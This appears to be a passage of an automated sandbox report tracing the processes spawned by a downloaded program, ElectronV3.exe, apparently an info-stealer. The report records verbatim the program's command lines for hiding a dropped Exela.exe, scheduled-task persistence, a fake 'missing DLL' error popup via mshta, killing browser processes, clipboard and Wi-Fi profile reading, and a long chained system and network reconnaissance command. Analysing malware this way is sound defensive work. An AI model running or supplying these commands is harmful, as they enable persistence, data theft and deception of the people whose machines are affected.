  PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3612 /prefetch:1
  2⤵
  PID:2444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7648 /prefetch:1
  2⤵
  PID:1020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7592 /prefetch:1
  2⤵
  PID:4840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7224 /prefetch:1
  2⤵
  PID:2064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8136 /prefetch:1
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:4016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7552 /prefetch:1
  2⤵
  PID:3292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5024 /prefetch:1
  2⤵
  PID:4700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6672 /prefetch:1
  2⤵
  PID:3536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8188 /prefetch:1
  2⤵
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8232 /prefetch:1
  2⤵
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6836 /prefetch:1
  2⤵
  PID:2268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1748 /prefetch:1
  2⤵
  PID:2756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6800 /prefetch:1
  2⤵
  PID:3264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8524 /prefetch:1
  2⤵
  PID:4760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8508 /prefetch:1
  2⤵
  PID:4040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8624 /prefetch:1
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8912 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1936 /prefetch:1
  2⤵
  PID:5304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9204 /prefetch:1
  2⤵
  PID:5600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
  2⤵
  PID:5980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:1
  2⤵
  PID:5988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9472 /prefetch:1
  2⤵
  PID:5996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9992 /prefetch:1
  2⤵
  PID:5172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10024 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5404

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2088

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1920

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x470 0x490
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5476

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5868

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:5932
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  - Loads dropped DLL
  PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2396
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
    3⤵
    PID:1388
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "gdb --version"
    3⤵
    PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:236
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
    3⤵
    PID:6328
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_ComputerSystem get Manufacturer
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6428
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6604
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
      4⤵
      Views/modifies file attributes
      PID:6656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
    3⤵
    PID:6676
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /TN "ExelaUpdateService"
      4⤵
      PID:6728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
    3⤵
    PID:6748
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
    3⤵
    PID:6820
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    PID:6896
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:7000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6904
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:7008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1152"
    3⤵
    PID:7116
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1152
      4⤵
      Kills process with taskkill
      PID:6412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2228"
    3⤵
    PID:6496
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2228
      4⤵
      Kills process with taskkill
      PID:6428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4276"
    3⤵
    PID:6664
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4276
      4⤵
      Kills process with taskkill
      PID:6692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4416"
    3⤵
    PID:6720
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4416
      4⤵
      Kills process with taskkill
      PID:6764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 756"
    3⤵
    PID:6864
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 756
      4⤵
      Kills process with taskkill
      PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1692"
    3⤵
    PID:6972
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1692
      4⤵
      Kills process with taskkill
      PID:6236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1608"
    3⤵
    PID:6196
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1608
      4⤵
      Kills process with taskkill
      PID:1276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3132"
    3⤵
    PID:6336
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3132
      4⤵
      Kills process with taskkill
      PID:6440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3224"
    3⤵
    PID:6412
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3224
      4⤵
      Kills process with taskkill
      PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4720"
    3⤵
    PID:2408
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4720
      4⤵
      Kills process with taskkill
      PID:4912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1592"
    3⤵
    PID:6428
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1592
      4⤵
      Kills process with taskkill
      PID:6444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4428"
    3⤵
    PID:3176
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4428
      4⤵
      Kills process with taskkill
      PID:2672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1020"
    3⤵
    PID:5152
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1020
      4⤵
      Kills process with taskkill
      PID:6652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4840"
    3⤵
    PID:6708
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4840
      4⤵
      Kills process with taskkill
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4016"
    3⤵
    PID:1072
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4016
      4⤵
      Kills process with taskkill
      PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4700"
    3⤵
    PID:2636
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4700
      4⤵
      Kills process with taskkill
      PID:6796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3536"
    3⤵
    PID:6700
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3536
      4⤵
      Kills process with taskkill
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1100"
    3⤵
    PID:3800
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1100
      4⤵
      Kills process with taskkill
      PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2756"
    3⤵
    PID:4320
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2756
      4⤵
      Kills process with taskkill
      PID:6800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3264"
    3⤵
    PID:6620
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3264
      4⤵
      Kills process with taskkill
      PID:3540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4760"
    3⤵
    PID:3852
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4760
      4⤵
      Kills process with taskkill
      PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4040"
    3⤵
    PID:1340
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4040
      4⤵
      Kills process with taskkill
      PID:2660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1852"
    3⤵
    PID:4596
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1852
      4⤵
      Kills process with taskkill
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5304"
    3⤵
    PID:4732
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5304
      4⤵
      Kills process with taskkill
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5600"
    3⤵
    PID:5360
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5600
      4⤵
      Kills process with taskkill
      PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5980"
    3⤵
    PID:4032
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5980
      4⤵
      Kills process with taskkill
      PID:5240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5988"
    3⤵
    PID:1692
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5988
      4⤵
      Kills process with taskkill
      PID:3660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5996"
    3⤵
    PID:6444
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5996
      4⤵
      Kills process with taskkill
      PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5172"
    3⤵
    PID:6884
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5172
      4⤵
      Kills process with taskkill
      PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:2660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1340
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:5348
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:2188
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:5356
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:1532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4552
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:892
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    PID:3696
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5216
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:1496
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      Suspicious behavior: EnumeratesProcesses
      PID:1440
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      PID:1612
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:2512
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      PID:3048
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:64
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      PID:1816
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:3424
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      PID:2748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:5256
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      PID:4040
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:7128
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      PID:6008
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:6072
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6096
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Enumerates processes with tasklist
      PID:5988
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:6820
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:6864
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:6892
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:3676
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:60
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7024
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6160
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6332
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5488

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:7152
